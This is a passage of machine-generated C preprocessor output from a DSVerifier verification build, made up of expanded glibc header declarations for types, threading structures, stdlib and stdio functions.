# 131 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 144 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 1 3 4
# 145 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
typedef unsigned long int ulong;
typedef unsigned short int ushort;
typedef unsigned int uint;
# 1 "/usr/include/x86_64-linux-gnu/bits/stdint-intn.h" 1 3 4
# 24 "/usr/include/x86_64-linux-gnu/bits/stdint-intn.h" 3 4
typedef __int8_t int8_t;
typedef __int16_t int16_t;
typedef __int32_t int32_t;
typedef __int64_t int64_t;
# 156 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
typedef __uint8_t u_int8_t;
typedef __uint16_t u_int16_t;
typedef __uint32_t u_int32_t;
typedef __uint64_t u_int64_t;
typedef int register_t __attribute__ ((__mode__ (__word__)));
# 176 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
# 1 "/usr/include/endian.h" 1 3 4
# 24 "/usr/include/endian.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/endian.h" 1 3 4
# 35 "/usr/include/x86_64-linux-gnu/bits/endian.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/endianness.h" 1 3 4
# 36 "/usr/include/x86_64-linux-gnu/bits/endian.h" 2 3 4
# 25 "/usr/include/endian.h" 2 3 4
# 35 "/usr/include/endian.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/byteswap.h" 1 3 4
# 33 "/usr/include/x86_64-linux-gnu/bits/byteswap.h" 3 4
static __inline __uint16_t
__bswap_16 (__uint16_t __bsx)
{
return __builtin_bswap16 (__bsx);
}
static __inline __uint32_t
__bswap_32 (__uint32_t __bsx)
{
return __builtin_bswap32 (__bsx);
}
# 69 "/usr/include/x86_64-linux-gnu/bits/byteswap.h" 3 4
__extension__ static __inline __uint64_t
__bswap_64 (__uint64_t __bsx)
{
return __builtin_bswap64 (__bsx);
}
# 36 "/usr/include/endian.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/uintn-identity.h" 1 3 4
# 32 "/usr/include/x86_64-linux-gnu/bits/uintn-identity.h" 3 4
static __inline __uint16_t
__uint16_identity (__uint16_t __x)
{
return __x;
}
static __inline __uint32_t
__uint32_identity (__uint32_t __x)
{
return __x;
}
static __inline __uint64_t
__uint64_identity (__uint64_t __x)
{
return __x;
}
# 37 "/usr/include/endian.h" 2 3 4
# 177 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/sys/select.h" 1 3 4
# 30 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/select.h" 1 3 4
# 22 "/usr/include/x86_64-linux-gnu/bits/select.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 23 "/usr/include/x86_64-linux-gnu/bits/select.h" 2 3 4
# 31 "/usr/include/x86_64-linux-gnu/sys/select.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/sigset_t.h" 1 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/__sigset_t.h" 1 3 4
typedef struct
{
unsigned long int __val[(1024 / (8 * sizeof (unsigned long int)))];
} __sigset_t;
# 5 "/usr/include/x86_64-linux-gnu/bits/types/sigset_t.h" 2 3 4
typedef __sigset_t sigset_t;
# 34 "/usr/include/x86_64-linux-gnu/sys/select.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/struct_timeval.h" 1 3 4
struct timeval
{
__time_t tv_sec;
__suseconds_t tv_usec;
};
# 38 "/usr/include/x86_64-linux-gnu/sys/select.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/struct_timespec.h" 1 3 4
# 10 "/usr/include/x86_64-linux-gnu/bits/types/struct_timespec.h" 3 4
struct timespec
{
__time_t tv_sec;
__syscall_slong_t tv_nsec;
# 26 "/usr/include/x86_64-linux-gnu/bits/types/struct_timespec.h" 3 4
};
# 40 "/usr/include/x86_64-linux-gnu/sys/select.h" 2 3 4
typedef __suseconds_t suseconds_t;
typedef long int __fd_mask;
# 59 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
typedef struct
{
__fd_mask __fds_bits[1024 / (8 * (int) sizeof (__fd_mask))];
} fd_set;
typedef __fd_mask fd_mask;
# 91 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
# 101 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
extern int select (int __nfds, fd_set *__restrict __readfds,
fd_set *__restrict __writefds,
fd_set *__restrict __exceptfds,
struct timeval *__restrict __timeout);
# 113 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
extern int pselect (int __nfds, fd_set *__restrict __readfds,
fd_set *__restrict __writefds,
fd_set *__restrict __exceptfds,
const struct timespec *__restrict __timeout,
const __sigset_t *__restrict __sigmask);
# 126 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
# 180 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
typedef __blksize_t blksize_t;
typedef __blkcnt_t blkcnt_t;
typedef __fsblkcnt_t fsblkcnt_t;
typedef __fsfilcnt_t fsfilcnt_t;
# 227 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes.h" 1 3 4
# 23 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 1 3 4
# 44 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes-arch.h" 1 3 4
# 21 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes-arch.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 22 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes-arch.h" 2 3 4
# 45 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 2 3 4
typedef struct __pthread_internal_list
{
struct __pthread_internal_list *__prev;
struct __pthread_internal_list *__next;
} __pthread_list_t;
typedef struct __pthread_internal_slist
{
struct __pthread_internal_slist *__next;
} __pthread_slist_t;
# 74 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/struct_mutex.h" 1 3 4
# 22 "/usr/include/x86_64-linux-gnu/bits/struct_mutex.h" 3 4
struct __pthread_mutex_s
{
int __lock;
unsigned int __count;
int __owner;
unsigned int __nusers;
int __kind;
short __spins;
short __elision;
__pthread_list_t __list;
# 53 "/usr/include/x86_64-linux-gnu/bits/struct_mutex.h" 3 4
};
# 75 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 2 3 4
# 87 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/struct_rwlock.h" 1 3 4
# 23 "/usr/include/x86_64-linux-gnu/bits/struct_rwlock.h" 3 4
struct __pthread_rwlock_arch_t
{
unsigned int __readers;
unsigned int __writers;
unsigned int __wrphase_futex;
unsigned int __writers_futex;
unsigned int __pad3;
unsigned int __pad4;
int __cur_writer;
int __shared;
signed char __rwelision;
unsigned char __pad1[7];
unsigned long int __pad2;
unsigned int __flags;
# 55 "/usr/include/x86_64-linux-gnu/bits/struct_rwlock.h" 3 4
};
# 88 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 2 3 4
struct __pthread_cond_s
{
__extension__ union
{
__extension__ unsigned long long int __wseq;
struct
{
unsigned int __low;
unsigned int __high;
} __wseq32;
};
__extension__ union
{
__extension__ unsigned long long int __g1_start;
struct
{
unsigned int __low;
unsigned int __high;
} __g1_start32;
};
unsigned int __g_refs[2] ;
unsigned int __g_size[2];
unsigned int __g1_orig_size;
unsigned int __wrefs;
unsigned int __g_signals[2];
};
# 24 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes.h" 2 3 4
typedef unsigned long int pthread_t;
typedef union
{
char __size[4];
int __align;
} pthread_mutexattr_t;
typedef union
{
char __size[4];
int __align;
} pthread_condattr_t;
typedef unsigned int pthread_key_t;
typedef int pthread_once_t;
union pthread_attr_t
{
char __size[56];
long int __align;
};
typedef union pthread_attr_t pthread_attr_t;
typedef union
{
struct __pthread_mutex_s __data;
char __size[40];
long int __align;
} pthread_mutex_t;
typedef union
{
struct __pthread_cond_s __data;
char __size[48];
__extension__ long long int __align;
} pthread_cond_t;
typedef union
{
struct __pthread_rwlock_arch_t __data;
char __size[56];
long int __align;
} pthread_rwlock_t;
typedef union
{
char __size[8];
long int __align;
} pthread_rwlockattr_t;
typedef volatile int pthread_spinlock_t;
typedef union
{
char __size[32];
long int __align;
} pthread_barrier_t;
typedef union
{
char __size[4];
int __align;
} pthread_barrierattr_t;
# 228 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 395 "/usr/include/stdlib.h" 2 3 4
extern long int random (void) __attribute__ ((__nothrow__ , __leaf__));
extern void srandom (unsigned int __seed) __attribute__ ((__nothrow__ , __leaf__));
extern char *initstate (unsigned int __seed, char *__statebuf,
size_t __statelen) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));
extern char *setstate (char *__statebuf) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
struct random_data
{
int32_t *fptr;
int32_t *rptr;
int32_t *state;
int rand_type;
int rand_deg;
int rand_sep;
int32_t *end_ptr;
};
extern int random_r (struct random_data *__restrict __buf,
int32_t *__restrict __result) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int srandom_r (unsigned int __seed, struct random_data *__buf)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));
extern int initstate_r (unsigned int __seed, char *__restrict __statebuf,
size_t __statelen,
struct random_data *__restrict __buf)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2, 4)));
extern int setstate_r (char *__restrict __statebuf,
struct random_data *__restrict __buf)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int rand (void) __attribute__ ((__nothrow__ , __leaf__));
extern void srand (unsigned int __seed) __attribute__ ((__nothrow__ , __leaf__));
extern int rand_r (unsigned int *__seed) __attribute__ ((__nothrow__ , __leaf__));
extern double drand48 (void) __attribute__ ((__nothrow__ , __leaf__));
extern double erand48 (unsigned short int __xsubi[3]) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern long int lrand48 (void) __attribute__ ((__nothrow__ , __leaf__));
extern long int nrand48 (unsigned short int __xsubi[3])
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern long int mrand48 (void) __attribute__ ((__nothrow__ , __leaf__));
extern long int jrand48 (unsigned short int __xsubi[3])
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern void srand48 (long int __seedval) __attribute__ ((__nothrow__ , __leaf__));
extern unsigned short int *seed48 (unsigned short int __seed16v[3])
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern void lcong48 (unsigned short int __param[7]) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
struct drand48_data
{
unsigned short int __x[3];
unsigned short int __old_x[3];
unsigned short int __c;
unsigned short int __init;
__extension__ unsigned long long int __a;
};
extern int drand48_r (struct drand48_data *__restrict __buffer,
double *__restrict __result) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int erand48_r (unsigned short int __xsubi[3],
struct drand48_data *__restrict __buffer,
double *__restrict __result) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int lrand48_r (struct drand48_data *__restrict __buffer,
long int *__restrict __result)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int nrand48_r (unsigned short int __xsubi[3],
struct drand48_data *__restrict __buffer,
long int *__restrict __result)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int mrand48_r (struct drand48_data *__restrict __buffer,
long int *__restrict __result)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int jrand48_r (unsigned short int __xsubi[3],
struct drand48_data *__restrict __buffer,
long int *__restrict __result)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int srand48_r (long int __seedval, struct drand48_data *__buffer)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));
extern int seed48_r (unsigned short int __seed16v[3],
struct drand48_data *__buffer) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int lcong48_r (unsigned short int __param[7],
struct drand48_data *__buffer)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern void *malloc (size_t __size) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__))
__attribute__ ((__alloc_size__ (1))) ;
extern void *calloc (size_t __nmemb, size_t __size)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)) __attribute__ ((__alloc_size__ (1, 2))) ;
extern void *realloc (void *__ptr, size_t __size)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__)) __attribute__ ((__alloc_size__ (2)));
extern void *reallocarray (void *__ptr, size_t __nmemb, size_t __size)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__))
__attribute__ ((__alloc_size__ (2, 3)));
extern void free (void *__ptr) __attribute__ ((__nothrow__ , __leaf__));
# 1 "/usr/include/alloca.h" 1 3 4
# 24 "/usr/include/alloca.h" 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 1 3 4
# 25 "/usr/include/alloca.h" 2 3 4
extern void *alloca (size_t __size) __attribute__ ((__nothrow__ , __leaf__));
# 569 "/usr/include/stdlib.h" 2 3 4
extern void *valloc (size_t __size) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__))
__attribute__ ((__alloc_size__ (1))) ;
extern int posix_memalign (void **__memptr, size_t __alignment, size_t __size)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
extern void *aligned_alloc (size_t __alignment, size_t __size)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)) __attribute__ ((__alloc_size__ (2))) ;
extern void abort (void) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern int atexit (void (*__func) (void)) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern int at_quick_exit (void (*__func) (void)) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern int on_exit (void (*__func) (int __status, void *__arg), void *__arg)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern void exit (int __status) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern void quick_exit (int __status) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern void _Exit (int __status) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern char *getenv (const char *__name) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
# 647 "/usr/include/stdlib.h" 3 4
extern int putenv (char *__string) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern int setenv (const char *__name, const char *__value, int __replace)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));
extern int unsetenv (const char *__name) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern int clearenv (void) __attribute__ ((__nothrow__ , __leaf__));
# 675 "/usr/include/stdlib.h" 3 4
extern char *mktemp (char *__template) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
# 688 "/usr/include/stdlib.h" 3 4
extern int mkstemp (char *__template) __attribute__ ((__nonnull__ (1))) ;
# 710 "/usr/include/stdlib.h" 3 4
extern int mkstemps (char *__template, int __suffixlen) __attribute__ ((__nonnull__ (1))) ;
# 731 "/usr/include/stdlib.h" 3 4
extern char *mkdtemp (char *__template) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
# 784 "/usr/include/stdlib.h" 3 4
extern int system (const char *__command) ;
# 800 "/usr/include/stdlib.h" 3 4
extern char *realpath (const char *__restrict __name,
char *__restrict __resolved) __attribute__ ((__nothrow__ , __leaf__)) ;
typedef int (*__compar_fn_t) (const void *, const void *);
# 820 "/usr/include/stdlib.h" 3 4
extern void *bsearch (const void *__key, const void *__base,
size_t __nmemb, size_t __size, __compar_fn_t __compar)
__attribute__ ((__nonnull__ (1, 2, 5))) ;
extern void qsort (void *__base, size_t __nmemb, size_t __size,
__compar_fn_t __compar) __attribute__ ((__nonnull__ (1, 4)));
# 840 "/usr/include/stdlib.h" 3 4
extern int abs (int __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
extern long int labs (long int __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
__extension__ extern long long int llabs (long long int __x)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
extern div_t div (int __numer, int __denom)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
extern ldiv_t ldiv (long int __numer, long int __denom)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
__extension__ extern lldiv_t lldiv (long long int __numer,
long long int __denom)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)) ;
# 872 "/usr/include/stdlib.h" 3 4
extern char *ecvt (double __value, int __ndigit, int *__restrict __decpt,
int *__restrict __sign) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4))) ;
extern char *fcvt (double __value, int __ndigit, int *__restrict __decpt,
int *__restrict __sign) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4))) ;
extern char *gcvt (double __value, int __ndigit, char *__buf)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3))) ;
extern char *qecvt (long double __value, int __ndigit,
int *__restrict __decpt, int *__restrict __sign)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4))) ;
extern char *qfcvt (long double __value, int __ndigit,
int *__restrict __decpt, int *__restrict __sign)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4))) ;
extern char *qgcvt (long double __value, int __ndigit, char *__buf)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3))) ;
extern int ecvt_r (double __value, int __ndigit, int *__restrict __decpt,
int *__restrict __sign, char *__restrict __buf,
size_t __len) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4, 5)));
extern int fcvt_r (double __value, int __ndigit, int *__restrict __decpt,
int *__restrict __sign, char *__restrict __buf,
size_t __len) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4, 5)));
extern int qecvt_r (long double __value, int __ndigit,
int *__restrict __decpt, int *__restrict __sign,
char *__restrict __buf, size_t __len)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4, 5)));
extern int qfcvt_r (long double __value, int __ndigit,
int *__restrict __decpt, int *__restrict __sign,
char *__restrict __buf, size_t __len)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (3, 4, 5)));
extern int mblen (const char *__s, size_t __n) __attribute__ ((__nothrow__ , __leaf__));
extern int mbtowc (wchar_t *__restrict __pwc,
const char *__restrict __s, size_t __n) __attribute__ ((__nothrow__ , __leaf__));
extern int wctomb (char *__s, wchar_t __wchar) __attribute__ ((__nothrow__ , __leaf__));
extern size_t mbstowcs (wchar_t *__restrict __pwcs,
const char *__restrict __s, size_t __n) __attribute__ ((__nothrow__ , __leaf__));
extern size_t wcstombs (char *__restrict __s,
const wchar_t *__restrict __pwcs, size_t __n)
__attribute__ ((__nothrow__ , __leaf__));
extern int rpmatch (const char *__response) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ;
# 957 "/usr/include/stdlib.h" 3 4
extern int getsubopt (char **__restrict __optionp,
char *const *__restrict __tokens,
char **__restrict __valuep)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2, 3))) ;
# 1003 "/usr/include/stdlib.h" 3 4
extern int getloadavg (double __loadavg[], int __nelem)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
# 1013 "/usr/include/stdlib.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/stdlib-float.h" 1 3 4
# 1014 "/usr/include/stdlib.h" 2 3 4
# 1023 "/usr/include/stdlib.h" 3 4
# 18 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 2
# 1 "/usr/include/assert.h" 1 3 4
# 66 "/usr/include/assert.h" 3 4
extern void __assert_fail (const char *__assertion, const char *__file,
unsigned int __line, const char *__function)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern void __assert_perror_fail (int __errnum, const char *__file,
unsigned int __line, const char *__function)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
extern void __assert (const char *__assertion, const char *__file, int __line)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__noreturn__));
# 19 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 2
# 1 "/usr/include/stdio.h" 1 3 4
# 27 "/usr/include/stdio.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 1 3 4
# 28 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 1 3 4
# 34 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stdarg.h" 1 3 4
# 40 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stdarg.h" 3 4
typedef __builtin_va_list __gnuc_va_list;
# 37 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/__fpos_t.h" 1 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/__mbstate_t.h" 1 3 4
# 13 "/usr/include/x86_64-linux-gnu/bits/types/__mbstate_t.h" 3 4
typedef struct
{
int __count;
union
{
unsigned int __wch;
char __wchb[4];
} __value;
} __mbstate_t;
# 6 "/usr/include/x86_64-linux-gnu/bits/types/__fpos_t.h" 2 3 4
typedef struct _G_fpos_t
{
__off_t __pos;
__mbstate_t __state;
} __fpos_t;
# 40 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/__fpos64_t.h" 1 3 4
# 10 "/usr/include/x86_64-linux-gnu/bits/types/__fpos64_t.h" 3 4
typedef struct _G_fpos64_t
{
__off64_t __pos;
__mbstate_t __state;
} __fpos64_t;
# 41 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/__FILE.h" 1 3 4
struct _IO_FILE;
typedef struct _IO_FILE __FILE;
# 42 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/FILE.h" 1 3 4
struct _IO_FILE;
typedef struct _IO_FILE FILE;
# 43 "/usr/include/stdio.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/struct_FILE.h" 1 3 4
# 35 "/usr/include/x86_64-linux-gnu/bits/types/struct_FILE.h" 3 4
struct _IO_FILE;
struct _IO_marker;
struct _IO_codecvt;
struct _IO_wide_data;
typedef void _IO_lock_t;
struct _IO_FILE
{
int _flags;
char *_IO_read_ptr;
char *_IO_read_end;
char *_IO_read_base;
char *_IO_write_base;
char *_IO_write_ptr;
char *_IO_write_end;
char *_IO_buf_base;
char *_IO_buf_end;
char *_IO_save_base;
char *_IO_backup_base;
char *_IO_save_end;
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset;
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
__off64_t _offset;
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
# 44 "/usr/include/stdio.h" 2 3 4
# 52 "/usr/include/stdio.h" 3 4
typedef __gnuc_va_list va_list;
# 84 "/usr/include/stdio.h" 3 4
typedef __fpos_t fpos_t;
# 133 "/usr/include/stdio.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/stdio_lim.h" 1 3 4
# 134 "/usr/include/stdio.h" 2 3 4
extern FILE *stdin;
extern FILE *stdout;
extern FILE *stderr;
extern int remove (const char *__filename) __attribute__ ((__nothrow__ , __leaf__));
extern int rename (const char *__old, const char *__new) __attribute__ ((__nothrow__ , __leaf__));
extern int renameat (int __oldfd, const char *__old, int __newfd,
const char *__new) __attribute__ ((__nothrow__ , __leaf__));
# 173 "/usr/include/stdio.h" 3 4
extern FILE *tmpfile (void) ;
# 187 "/usr/include/stdio.h" 3 4
extern char *tmpnam (char *__s) __attribute__ ((__nothrow__ , __leaf__)) ;
extern char *tmpnam_r (char *__s) __attribute__ ((__nothrow__ , __leaf__)) ;
# 204 "/usr/include/stdio.h" 3 4
extern char *tempnam (const char *__dir, const char *__pfx)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)) ;
extern int fclose (FILE *__stream);
extern int fflush (FILE *__stream);
# 227 "/usr/include/stdio.h" 3 4
extern int fflush_unlocked (FILE *__stream);
# 246 "/usr/include/stdio.h" 3 4
extern FILE *fopen (const char *__restrict __filename,
const char *__restrict __modes) ;
extern FILE *freopen (const char *__restrict __filename,
const char *__restrict __modes,
FILE *__restrict __stream) ;
# 279 "/usr/include/stdio.h" 3 4
extern FILE *fdopen (int __fd, const char *__modes) __attribute__ ((__nothrow__ , __leaf__)) ;
# 292 "/usr/include/stdio.h" 3 4
extern FILE *fmemopen (void *__s, size_t __len, const char *__modes)
__attribute__ ((__nothrow__ , __leaf__)) ;
extern FILE *open_memstream (char **__bufloc, size_t *__sizeloc) __attribute__ ((__nothrow__ , __leaf__)) ;
extern void setbuf (FILE *__restrict __stream, char *__restrict __buf) __attribute__ ((__nothrow__ , __leaf__));
extern int setvbuf (FILE *__restrict __stream, char *__restrict __buf,
int __modes, size_t __n) __attribute__ ((__nothrow__ , __leaf__));
extern void setbuffer (FILE *__restrict __stream, char *__restrict __buf,
size_t __size) __attribute__ ((__nothrow__ , __leaf__));
extern void setlinebuf (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__));
extern int fprintf (FILE *__restrict __stream,
const char *__restrict __format, ...);
extern int printf (const char *__restrict __format, ...);
extern int sprintf (char *__restrict __s,
const char *__restrict __format, ...) __attribute__ ((__nothrow__));
extern int vfprintf (FILE *__restrict __s, const char *__restrict __format,
__gnuc_va_list __arg);
extern int vprintf (const char *__restrict __format, __gnuc_va_list __arg);
extern int vsprintf (char *__restrict __s, const char *__restrict __format,
__gnuc_va_list __arg) __attribute__ ((__nothrow__));
extern int snprintf (char *__restrict __s, size_t __maxlen,
const char *__restrict __format, ...)
__attribute__ ((__nothrow__)) __attribute__ ((__format__ (__printf__, 3, 4)));
extern int vsnprintf (char *__restrict __s, size_t __maxlen,
const char *__restrict __format, __gnuc_va_list __arg)
__attribute__ ((__nothrow__)) __attribute__ ((__format__ (__printf__, 3, 0)));
# 379 "/usr/include/stdio.h" 3 4
extern int vdprintf (int __fd, const char *__restrict __fmt,
__gnuc_va_list __arg)
__attribute__ ((__format__ (__printf__, 2, 0)));
extern int dprintf (int __fd, const char *__restrict __fmt, ...)
__attribute__ ((__format__ (__printf__, 2, 3)));
extern int fscanf (FILE *__restrict __stream,
const char *__restrict __format, ...) ;
extern int scanf (const char *__restrict __format, ...) ;
extern int sscanf (const char *__restrict __s,
const char *__restrict __format, ...) __attribute__ ((__nothrow__ , __leaf__));
extern int fscanf (FILE *__restrict __stream, const char *__restrict __format, ...) __asm__ ("" "__isoc99_fscanf")
;
extern int scanf (const char *__restrict __format, ...) __asm__ ("" "__isoc99_scanf")
;
extern int sscanf (const char *__restrict __s, const char *__restrict __format, ...) __asm__ ("" "__isoc99_sscanf") __attribute__ ((__nothrow__ , __leaf__))
;
# 432 "/usr/include/stdio.h" 3 4
extern int vfscanf (FILE *__restrict __s, const char *__restrict __format,
__gnuc_va_list __arg)
__attribute__ ((__format__ (__scanf__, 2, 0))) ;
extern int vscanf (const char *__restrict __format, __gnuc_va_list __arg)
__attribute__ ((__format__ (__scanf__, 1, 0))) ;
extern int vsscanf (const char *__restrict __s,
const char *__restrict __format, __gnuc_va_list __arg)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__format__ (__scanf__, 2, 0)));
